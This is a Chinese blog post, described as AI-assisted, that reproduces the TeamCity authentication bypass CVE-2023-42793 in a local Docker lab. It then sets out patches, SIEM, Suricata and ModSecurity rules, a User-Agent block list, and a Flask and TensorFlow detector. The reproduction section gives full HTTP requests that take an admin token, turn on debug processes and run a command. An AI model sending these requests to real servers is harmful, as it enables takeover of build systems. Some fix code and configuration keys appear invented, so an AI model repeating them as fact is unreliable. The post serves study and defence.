创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理(Authentication Bypass → RCE)
CVE-2023-42793 是 JetBrains TeamCity(一个广泛使用的 CI/CD 自动化服务器)中的一个认证绕过漏洞,影响版本为 TeamCity On-Premises < 2023.05.4。该漏洞允许未认证的远程攻击者利用 REST API 路径缺陷直接绕过身份验证,进而获得管理员权限并执行任意代码(RCE)。 关键技术点
- TeamCity 的 REST API(如
/app/rest/users/id:1/tokens/RPC2)原设计应在认证后才能访问。 - 由于存在请求拦截逻辑缺陷,某些请求路径可绕过身份验证检查。
- 攻击者可以获取管理员令牌、修改内部配置(如启用调试或流程处理开关),并最终执行任意指令。
这种类型的漏洞属于 “Authentication Bypass Using an Alternate Path or Channel”(CWE-288)以及 “Missing Authentication for Critical Function”(CWE-306)。
┌────────────┐ ① 构造恶意请求:GET /app/rest/users/id:1/tokens/RPC2
│ 攻击者 │ ─────────────────────────────────────────────────────┐
└────────────┘ │
│ ▼
│ ② 无需认证,直接返回管理员访问令牌(如 id:1 为默认管理员) │
│ ──────────────────────────────────────────────────────────────│
▼ │
┌─────────────────────┐ │
│ TeamCity 认证过滤器 │ ◄──────────────────────────────────────────────┘
│ 拦截逻辑缺陷,误认 │
│ 为内部请求(RPC2) │
└─────────┬───────────┘
│ ③ 使用令牌访问其他 API,如调试终端或代理配置
▼
┌─────────────────────┐
│ 攻击者获得系统权限 │
└─────────────────────┘
攻击场景流程图 + DFD 威胁建模
flowchart TD
A[初始访问] --> B[信息收集]
B --> C[版本确认<br>TeamCity < 2023.05.3]
C --> D[构造恶意请求]
subgraph "认证绕过阶段"
D --> E["请求路径:<br>/app/rest/users/id:1/tokens/RPC2"]
E --> F[TeamCity安全拦截器]
F --> G{路径检查}
G -->|"包含RPC2"| H["绕过认证<br>(RPC2在免鉴权白名单)"]
G -->|不包含| I[正常认证流程]
H --> J[访问令牌管理接口]
end
subgraph "权限提升阶段"
J --> K[POST请求生成令牌]
K --> L[生成永久管理员Access Token]
L --> M[获得管理员权限]
end
subgraph "远程代码执行阶段"
M --> N[使用Token认证]
N --> O{选择攻击路径}
O -->|方法1| P[访问调试终端API]
O -->|方法2| Q[访问代理配置API]
P --> R[执行系统命令]
Q --> S[修改代理配置执行命令]
R --> T[远程代码执行]
S --> T
end
T --> U[完全控制系统]
style E fill:#ff9999
style F fill:#ff6666
style H fill:#ff3333
style L fill:#cc0000
style T fill:#990000
漏洞原理分析图
拦截器白名单绕过机制
TeamCity 安全拦截器逻辑:
正常路径检查:
/app/rest/users/id:1/tokens → 需要认证
/app/rest/debug/terminal → 需要认证
漏洞路径:
/app/rest/users/id:1/tokens/RPC2 → 绕过认证
原因:
拦截器代码中的免鉴权路径检查:
if (requestPath.contains("RPC2") ||
requestPath.contains("RPC") ||
requestPath.contains("internal")) {
// 跳过认证 ← 漏洞点
allowWithoutAuth = true;
}
攻击者利用:
1. RPC2是TeamCity内部通信协议
2. 设计初衷是允许内部服务间免认证通信
3. 但攻击者可以从外部访问这些端点
令牌生成过程
正常令牌生成流程:
1. 用户认证 → 2. 权限检查 → 3. 生成令牌
漏洞利用流程:
1. 访问 /app/rest/users/id:1/tokens/RPC2
│
└─→ 绕过步骤1和2
│
└─→ 直接进入步骤3(生成令牌)
│
└─→ 为id:1(管理员)生成永久令牌
关键点:
- id:1通常是初始管理员账户
- RPC2端点不验证调用者身份
- 生成的令牌具有完整管理员权限
DFD 威胁建模(描述流程)
[Attacker]
|
| (1) Send crafted HTTP REST API request
v
[Process P1: TeamCity Request Handler]
|
| (2) Authentication Bypass (no credential check)
v
[Process P2: Admin Token Generation]
|
| (3) Attacker now has admin token
v
[Process P3: Plugin Upload / Command Execution]
|
v
[Data Store: TeamCity Configuration & Build Agents]
STRIDE 威胁模型概览
| 威胁类型 | 是否存在 | 说明 |
|---|---|---|
| Spoofing | ❌ | 不必伪造凭据就能绕过 |
| Tampering | ✅ | 攻击者可修改配置 |
| Repudiation | ⚠️ | 操作难辨正当用户 |
| Information Disclosure | ✅ | 访问敏感信息 |
| Denial of Service | ⚠️ | 可破坏构建流水线 |
| Elevation of Privilege | ✅ | 未认证→管理员权限 |
漏洞复现原理图示说明
攻击时序图
sequenceDiagram
participant A as 攻击者
participant T as TeamCity服务器
participant I as 拦截器
participant API as 令牌API
participant DB as 数据库
participant SYS as 系统
A->>T: 1. 探测版本请求
T->>A: 2. 返回版本信息(2023.05.2)
Note over A: 确认存在漏洞
A->>T: 3. 构造绕过请求<br>GET /app/rest/users/id:1/tokens/RPC2
T->>I: 4. 请求进入拦截器
I->>I: 5. 检查路径包含"RPC2"
Note over I: RPC2在免鉴权白名单中
I-->>API: 6. 绕过认证,转发请求
API->>DB: 7. 查询用户id:1(管理员)
DB->>API: 8. 返回用户信息
A->>T: 9. POST请求生成令牌
T->>API: 10. 生成管理员令牌
API->>DB: 11. 存储新令牌
DB->>API: 12. 返回令牌信息
API->>A: 13. 返回永久管理员Access Token
Note over A: 获得管理员权限
A->>T: 14. 使用Token访问调试终端API
T->>SYS: 15. 执行系统命令
SYS->>T: 16. 返回命令结果
T->>A: 17. 返回响应
Note over A: 成功实现RCE
可以从两个角度来表达漏洞触发机制。
▶ 正常验证流程
Client
|
v
TeamCity API Endpoint
|
[Auth Filter] —> Reject if not authenticated
|
v
Protected Function
▶ 利用漏洞绕过认证
Attacker
|
v
TeamCity API REST call (crafted path)
|
[Auth Filter bypass]
|
v
Admin Token Generated
|
v
Admin Actions (RCE, New Users, Config Change)
这种绕过来自“Alternate Path”,即 REST API 实现逻辑没有对所有可能路径进行认证检查。
漏洞复现
用docker搭载环境后,输入localhost:8111,然后一直默认选项,点击注册账号,便能够看到如上的图片。
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
在下图的路径当中RPC2提供的接口直接泄露了api token,说得更清楚些就是JWT。这与CVE-2024-43442这个漏洞有些类似,但是该漏洞的构造更加复杂和精妙。
将上图添加的JWT令牌增加到debug模式当中后,由于200状态码的出现,说明我们可以利用该窗口实现身份认证。
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bzg0b2dDOFdESUNIOFIwRnhEaDZPSkN5RVNr.ZDhjNzBjOTAtNzZiOS00OTA1LWFhOTMtM2Y1ZWRhYmEwN2U4
在debug相关接口执行命令id,由于我的电脑误删虚拟机环境kali,这里不进行目录爆破的操作。不过值得我疑问的就是RCE的接口或路由是真的很难发现呢?后续还得好好得将信息收集这一步骤好好的系统学习和整理一番。
POST /app/rest/debug/processes?exePath=id HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bzg0b2dDOFdESUNIOFIwRnhEaDZPSkN5RVNr.ZDhjNzBjOTAtNzZiOS00OTA1LWFhOTMtM2Y1ZWRhYmEwN2U4
与hugegraph/CVE-2024-43441类似,如果没有JWT令牌,那么我们将无果而返。
POST /app/rest/debug/processes?exePath=id HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0
Authorization: Bearer
修复建议
- 立即更新:升级到 TeamCity 2023.05.4 或更高版本。
- 安全插件:JetBrains 发布了针对旧版本的安全补丁插件,无法立即升级的用户应安装该插件。
- 审计 Token:检查系统中是否存在异常命名的 Access Token,并清理未经授权的管理员账号。
- 日志监控:监控 Web 日志中包含
RPC2且返回200 OK的异常 REST 请求。
伪代码级修复示例
官方的修复逻辑主要是强化了请求路径的标准化(Normalization)和更加严谨的权限检查。
漏洞代码逻辑(示意):
// 简化后的拦截器逻辑
public boolean isAuthorized(HttpServletRequest request) {
String uri = request.getRequestURI();
// 逻辑缺陷:只要包含 RPC2,就认为不需要鉴权
if (uri.contains("/RPC2")) {
return true;
}
// 否则执行常规鉴权
return checkSession(request);
}
修复方案逻辑(详细具体):
public boolean isAuthorized(HttpServletRequest request) {
// 1. 严格路径规范化:移除多余的斜杠、分号和路径跳转符
String normalizedPath = RequestUtil.normalize(request.getRequestURI());
// 2. 检查请求是否匹配 REST API 路径
if (normalizedPath.startsWith("/app/rest/")) {
// 3. 修复方案:禁止使用包含关系的模糊匹配
// 必须严格检查该路径段是否位于合法的、不需要鉴权的特定服务位置
if (isInternalRpcService(normalizedPath)) {
// 二次确认:即使是内部 RPC,也要检查来源 IP 是否为受信任的代理或本地
return isTrustedInternalSource(request);
}
// 4. 针对敏感操作(如用户/Token管理)强制要求权限
if (normalizedPath.contains("/users/") || normalizedPath.contains("/tokens")) {
User user = SessionUtil.getAuthenticatedUser(request);
if (user == null || !user.hasPermission(Permissions.MANAGE_USERS)) {
logSecurityAlert("Unauthorized attempt to access user tokens", request);
return false;
}
}
}
return checkSession(request);
}
// 辅助方法:判断是否为合法的内部服务路径
private boolean isInternalRpcService(String path) {
// 修复:仅当路径完全符合特定模式且无附加参数时才放行
return path.endsWith("/RPC2") && !path.contains("/app/rest/users");
}
修复方案1:拦截器安全修复
// TeamCity 安全拦截器修复代码
public class FixedSecurityInterceptor implements HandlerInterceptor {
// 精确的免鉴权端点列表(不再使用contains检查)
private static final Set<String> EXACT_RPC_PATHS = Set.of(
"/app/rest/internal/buildQueue",
"/app/rest/internal/vcs",
"/app/rest/internal/cleanup"
);
// RPC2端点需要严格验证
private static final Pattern RPC2_PATH_PATTERN =
Pattern.compile("^/app/rest/internal/.*/RPC2$");
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String requestURI = request.getRequestURI();
// 1. 严格验证RPC2端点
if (requestURI.contains("RPC2")) {
// 仅允许内部网络访问
String clientIp = request.getRemoteAddr();
if (!isInternalNetwork(clientIp)) {
logSecurityAlert(request, "EXTERNAL_RPC2_ACCESS");
response.sendError(HttpServletResponse.SC_FORBIDDEN);
return false;
}
// 验证RPC2路径格式
if (!RPC2_PATH_PATTERN.matcher(requestURI).matches()) {
response.sendError(HttpServletResponse.SC_NOT_FOUND);
return false;
}
}
// 2. 令牌管理端点必须认证
if (requestURI.contains("/tokens") &&
!requestURI.contains("/tokens/RPC2")) {
// 原有认证逻辑...
if (!isAuthenticated(request)) {
response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
return false;
}
}
return true;
}
private boolean isInternalNetwork(String ip) {
// 检查IP是否在内部网络范围
return ip.startsWith("10.") ||
ip.startsWith("192.168.") ||
ip.startsWith("172.16.") ||
ip.equals("127.0.0.1");
}
}
修复方案2:令牌端点加固
// 令牌管理API修复
@RestController
@RequestMapping("/app/rest/users")
public class FixedTokenController {
@PostMapping("/{userId}/tokens")
public ResponseEntity<TokenResponse> createToken(
@PathVariable String userId,
@RequestBody TokenRequest request,
@AuthenticationPrincipal User currentUser) {
// 1. 验证当前用户权限
if (!currentUser.isAuthenticated()) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
// 2. 防止为其他用户生成令牌(除非是管理员)
if (!userId.equals(currentUser.getId())) {
if (!currentUser.hasRole("ADMIN")) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
}
// 3. RPC2端点特殊处理 - 仅允许服务账户访问
if (request.getScope().isRpc2()) {
if (!currentUser.isServiceAccount()) {
log.warn("Non-service account attempting RPC2 token creation");
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
// RPC2令牌有限制
Token token = tokenService.createRpc2Token(
userId,
request.getName(),
Duration.ofHours(1) // 短期有效
);
return ResponseEntity.ok(TokenResponse.from(token));
}
// 4. 普通令牌创建
Token token = tokenService.createToken(
userId,
request.getName(),
request.getScope(),
request.getExpiration()
);
return ResponseEntity.ok(TokenResponse.from(token));
}
}
修复方案3:安全配置加固
# teamcity-server-log4j.xml - 添加安全审计日志
<Logger name="com.jetbrains.teamcity.security" level="DEBUG">
<AppenderRef ref="SECURITY_AUDIT"/>
</Logger>
# teamcity-config.properties
# 禁用不安全的端点
teamcity.security.disable.rpc2.external.access=true
teamcity.security.internal.endpoints.whitelist=10.0.0.0/8,192.168.0.0/16,127.0.0.1
# 令牌安全策略
teamcity.tokens.rpc2.max.duration=3600 # 1小时
teamcity.tokens.rpc2.require.service.account=true
teamcity.tokens.admin.require.mfa=true
# 网络访问控制
teamcity.api.access.control.enabled=true
teamcity.api.allowed.ips=192.168.1.0/24,10.0.0.0/8
基于漏洞的安全检测与防护规则
为了提前检测或阻断此类认证绕过企图,可以设计以下规则。
测目标重新定义(先对齐思路)
针对 CVE-2023-42793,日志检测的核心不是“有没有访问”,而是:
未认证 / 非管理员用户,对 TeamCity 高危 REST 接口发起成功请求
因此检测必须同时满足 3 个条件维度:
| 维度 | 说明 |
|---|---|
| 身份维度 | 是否存在有效认证上下文 |
| 接口维度 | 是否访问高危 REST API |
| 行为维度 | 是否产生管理员级副作用 |
| 基础规则 | |
| 1️⃣ 高危 REST 接口访问监测(核心入口) | |
| 重点接口(真实利用路径) |
/app/rest/users/*/tokens/RPC2/app/rest/users/id:*/tokens/*/app/rest/server/app/rest/debug/**
✅ 精准 SIEM 规则(Splunk 示例)
index=tc_logs
http.method=POST
uri_path="/app/rest/users"
uri_path="tokens"
| eval is_token_api=if(match(uri,"/app/rest/users/.*/tokens"),1,0)
| where is_token_api=1
| table _time src_ip user_agent http.method uri status auth_user session_id
2️⃣ 未认证成功访问检测(关键)
index=tc_logs
http.method=POST
uri="/app/rest/users/*/tokens*"
| where status=200
| where isnull(auth_user) OR auth_user="anonymous"
| stats count by src_ip user_agent uri
告警条件
status=200auth_user 为空或 anonymous
在 TeamCity 正常行为中几乎不可能。意义: 这是 CVE-2023-42793 的第一落点,真实攻击 100% 会经过这里。
行为级检测(攻击者“拿到钥匙后”) CVE-2023-42793 的攻击不会停在 token 获取,后续一定有行为痕迹。 3️⃣ 异常 Token 行为链检测(推荐重点)
行为序列(真实攻击链)
- 获取 token
- 使用 token 访问 admin API
- 创建用户 / 上传插件 / 修改配置 规则:Token 创建 → 管理操作(时间窗口)
index=tc_logs
| eval is_token_create=if(match(uri,"/tokens"),1,0)
| eval is_admin_action=if(match(uri,"/app/rest/(users|server|debug|buildQueue)"),1,0)
| transaction src_ip maxspan=5m
| where is_token_create=1 AND is_admin_action=1
| table _time src_ip uri status auth_user
4️⃣ 管理员行为异常画像(无登录直接管理) `
index=tc_logs
| where uri LIKE "/app/rest/%"
| where status=200
| where (auth_user="admin" OR role="ADMIN")
| stats count min(_time) max(_time) by src_ip session_id
| where count > 5 AND (max(_time)-min(_time)) < 60
异常点:
- 管理行为过快
- 无正常登录流程
- 会话生命周期异常短
绕过特征增强检测(真实世界必杀) 5️⃣ User-Agent 异常(真实利用常见) 真实攻击中常见 UA:
curl/*python-requestsGo-http-client- 空 UA
index=tc_logs
uri="/app/rest/users/*/tokens*"
| where user_agent IN ("curl","python-requests","Go-http-client","")
| where status=200
| stats count by src_ip user_agent uri
6️⃣ 非浏览器访问敏感 REST API
index=tc_logs
| where uri LIKE "/app/rest/%"
| where NOT like(user_agent,"%Mozilla%")
| where status=200
| stats count by src_ip user_agent uri
关联增强规则(导师/审稿人会点头的那种) 7️⃣ 认证绕过 + RCE 风险链(高级)
index=tc_logs
| eval suspicious_api=if(match(uri,"/tokens|/debug|/server"),1,0)
| eval unauth=if(isnull(auth_user) OR auth_user="anonymous",1,0)
| where suspicious_api=1 AND unauth=1 AND status=200
| stats count values(uri) by src_ip
8️⃣ 攻击置信度评分(可写进论文)
index=tc_logs
| eval score=0
| eval score=score+if(match(uri,"/tokens"),30,0)
| eval score=score+if(isnull(auth_user),30,0)
| eval score=score+if(status=200,20,0)
| eval score=score+if(NOT like(user_agent,"%Mozilla%"),20,0)
| where score>=60
| table _time src_ip uri user_agent score
对应 WAF / IDS 的协同建议
WAF规则
# Nginx配置阻止攻击
location ~* /app/rest/.*/tokens/RPC2 {
# 只允许内部IP访问
allow 10.0.0.0/8;
allow 192.168.0.0/16;
allow 127.0.0.1;
deny all;
# 记录可疑访问
access_log /var/log/nginx/rpc2_access.log;
return 403;
}
# 监控令牌创建频率
limit_req_zone $binary_remote_addr zone=token_zone:10m rate=1r/m;
location ~* /app/rest/.*/tokens {
limit_req zone=token_zone burst=3 nodelay;
# 检查可疑User-Agent
if ($http_user_agent ~* "(curl|wget|python|nikto|sqlmap)") {
return 403;
}
}
IDS/IPS规则
# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 8111 ( \
msg:"TEAMCITY RPC2 Auth Bypass Attempt"; \
flow:to_server,established; \
content:"/app/rest/users/id:"; \
content:"/tokens/RPC2"; distance:0; \
content:"POST"; http_method; \
pcre:"/id:[0-9]+/tokens/RPC2/i"; \
classtype:web-application-attack; \
sid:2023001; rev:2;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 8111 ( \
msg:"TEAMCITY Admin Token Generation"; \
flow:to_server,established; \
content:"/app/rest/users/id:1/tokens"; \
content:"name"; http_client_body; \
content:"scope"; http_client_body; \
threshold:type threshold, track by_src, count 3, seconds 60; \
classtype:privilege-escalation; \
sid:2023002; rev:1;)
监控检测规则
# Elasticsearch检测规则
TEAMCITY_EXPLOIT_RULE = {
"name": "TeamCity Auth Bypass and RCE",
"query": """
event.dataset: "teamcity.access" AND
(
url.original: "/app/rest/users/id:*/tokens/RPC2" OR
message: "RPC2" AND http.response.status_code: 200
) AND
source.ip NOT IN ("10.0.0.0/8", "192.168.0.0/16", "127.0.0.1")
""",
"severity": "critical",
"actions": [
"alert",
"block_ip",
"revoke_recent_tokens"
],
"threshold": {
"events": 1,
"timeframe": "5m"
}
}
# 实时检测脚本
import requests
from datetime import datetime, timedelta
def detect_teamcity_exploit(log_entries):
suspicious_patterns = [
"/app/rest/users/id:1/tokens/RPC2",
"POST /app/rest/debug/",
"Bearer " + ("eyJ" * 5) # JWT token pattern
]
alerts = []
for entry in log_entries:
if any(pattern in entry.get('message', '') for pattern in suspicious_patterns):
alert = {
"timestamp": datetime.now(),
"source_ip": entry.get('source_ip'),
"event": "TeamCity exploit attempt",
"details": entry
}
alerts.append(alert)
return alerts
应急响应步骤
graph TD
A[发现攻击] --> B[立即阻断攻击源IP]
B --> C[审查所有最近生成的令牌]
C --> D[撤销可疑令牌]
D --> E[检查系统完整性]
E --> F[检查是否有后门/webshell]
F --> G[更新到安全版本]
G --> H[重新配置安全设置]
H --> I[审计日志和监控]
I --> J[编写事故报告]
style A fill:#ff3333
style D fill:#ff9999
style G fill:#99ff99
基于 Flask 的实时检测与防护(应用层) 部署一个 Flask 应用作为反向代理/API 网关,对所有进入 TeamCity 的请求进行预处理,拦截恶意请求。 1.1 Flask 中间件:路径检测与认证验证
# teamcity_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time
app = Flask(__name__)
# 敏感路径列表(关键 REST API 端点)
SENSITIVE_PATHS = [
'/app/rest/users/',
'/app/rest/debug/',
'/app/rest/agents/',
'/app/rest/projects/',
'/app/rest/buildQueue/',
]
# 认证绕过特征:路径中包含特定后缀,如 RPC2
AUTH_BYPASS_PATTERNS = [
re.compile(r'/tokens/RPC2$', re.I),
re.compile(r'/internal/', re.I), # 可能其他内部路径
]
# 简单的会话验证(模拟,实际应验证 TeamCity 的 session cookie 或 Bearer token)
def is_authenticated():
# TeamCity 通常使用 session cookie: TC_sessionId
session_cookie = request.cookies.get('TC_sessionId')
auth_header = request.headers.get('Authorization')
return bool(session_cookie or auth_header)
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=30, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 检查路径是否敏感
is_sensitive = any(request.path.startswith(p) for p in SENSITIVE_PATHS)
if not is_sensitive:
return # 非敏感路径放行
# 2. 检测认证绕过特征
for pattern in AUTH_BYPASS_PATTERNS:
if pattern.search(request.path):
log_attack(request, 'auth_bypass_path')
abort(403, description='Authentication bypass attempt blocked')
# 3. 检查认证状态
if not is_authenticated():
# 对未认证的敏感请求进行速率限制(防止暴力扫描)
if rate_limit(request.remote_addr):
abort(429, description='Too many requests')
else:
# 可选:记录并放行?但更安全的做法是直接拒绝未认证访问
abort(401, description='Authentication required')
# 4. 对已认证请求,可进一步检查令牌滥用(如短时间内大量调用令牌生成)
# 此处可集成 TensorFlow 模型进行异常检测(见下文)
@app.errorhandler(401)
def unauthorized(e):
return jsonify(error='Unauthorized'), 401
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type):
with open('teamcity_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")
# 转发请求到后端 TeamCity
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发请求到 TeamCity 服务器(如 http://localhost:8111)
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
1.2 日志监控脚本 实时分析 TeamCity 访问日志,发现对敏感路径的异常访问。
# monitor_logs.py
import re
import sys
LOG_PATTERN = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
AUTH_BYPASS_PATTERNS = [re.compile(r'/tokens/RPC2', re.I), re.compile(r'/internal/', re.I)]
def analyze_log(logfile):
with open(logfile, 'r') as f:
for line in f:
match = LOG_PATTERN.search(line)
if not match:
continue
path = match.group('path')
ip = match.group('ip')
for pattern in AUTH_BYPASS_PATTERNS:
if pattern.search(path):
print(f"[!] 认证绕过尝试:IP {ip} 访问 {path}")
基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 TeamCity 的异常访问模式,特别是对令牌生成和调试接口的滥用。
2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度has_rpc2: 路径是否包含RPC2(0/1)has_tokens: 路径是否包含tokens(0/1)method: 请求方法(GET=1, POST=2, PUT=3, DELETE=4)body_length: 请求体长度(若为POST)status_code: 响应状态码(但实时检测时未知,可用0代替)hour: 请求小时ip_reputation: IP 信誉分(需外部API)user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
features = [
len(request_entry['path']),
1 if 'RPC2' in request_entry['path'] else 0,
1 if 'tokens' in request_entry['path'] else 0,
{'GET':1, 'POST':2, 'PUT':3, 'DELETE':4}.get(request_entry['method'], 0),
len(request_entry.get('body', '')),
0, # 状态码未知
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']), # 需实现
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# 假设 X 为特征矩阵,y 为标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('teamcity_anomaly_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('teamcity_anomaly_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存(如Redis)获取该IP的历史统计
# 简化示例,返回空字典
return {'freq_10min': 0}
def ip_reputation(ip):
# 使用外部API或本地黑名单
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
# 对敏感路径或已认证请求,进行机器学习异常检测
if request.path.startswith('/app/rest/'):
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'method': request.method,
'body': request.get_data(as_text=True),
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': is_authenticated(),
'timestamp': datetime.now()
}
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly')
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 TeamCity 的认证绕过尝试。 3.1 基础规则
# modsecurity_crs_70_teamcity_cve_2023_42793.conf
# 规则1:拦截对 /app/rest/users/ 下 tokens 的未授权访问
SecRule REQUEST_URI "@rx ^/app/rest/users/[^/]+/tokens" \
"id:1007001,\
phase:1,\
t:none,\
deny,\
status:403,\
msg:'TeamCity CVE-2023-42793 - Token endpoint access',\
logdata:'Request URI: %{REQUEST_URI}',\
tag:'attack-auth-bypass',\
tag:'cve-2023-42793',\
severity:'CRITICAL'"
# 规则2:拦截包含 RPC2 的请求(认证绕过特征)
SecRule REQUEST_URI "@contains /RPC2" \
"id:1007002,\
phase:1,\
t:none,\
deny,\
status:403,\
msg:'TeamCity CVE-2023-42793 - Auth bypass via RPC2',\
tag:'attack-auth-bypass',\
severity:'CRITICAL'"
# 规则3:对调试端点进行限制
SecRule REQUEST_URI "@beginsWith /app/rest/debug/" \
"id:1007003,\
phase:1,\
t:none,\
deny,\
status:403,\
msg:'TeamCity debug endpoint access',\
tag:'attack-rce',\
severity:'CRITICAL'"
# 规则4:速率限制(对敏感API)
SecRule REQUEST_URI "@beginsWith /app/rest/" \
"id:1007004,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'TeamCity API rate limiting',\
setvar:'tx.teamcity_api_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.teamcity_api_counter_%{REMOTE_ADDR}=60'"
SecRule TX:teamcity_api_counter_%{REMOTE_ADDR} "@gt 30" \
"id:1007005,\
phase:1,\
block,\
msg:'Too many TeamCity API requests',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name teamcity.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location / {
proxy_pass http://teamcity-backend:8111;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:CVE-2023-42793 是 TeamCity 中严重的认证绕过漏洞,可导致完全控制 CI/CD 环境。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 TeamCity 的用户立即采取行动。
参考文章:
1.vulhub/teamcity/CVE-2023-42793 at master · vulhub/vulhub github.com/vulhub/vulh…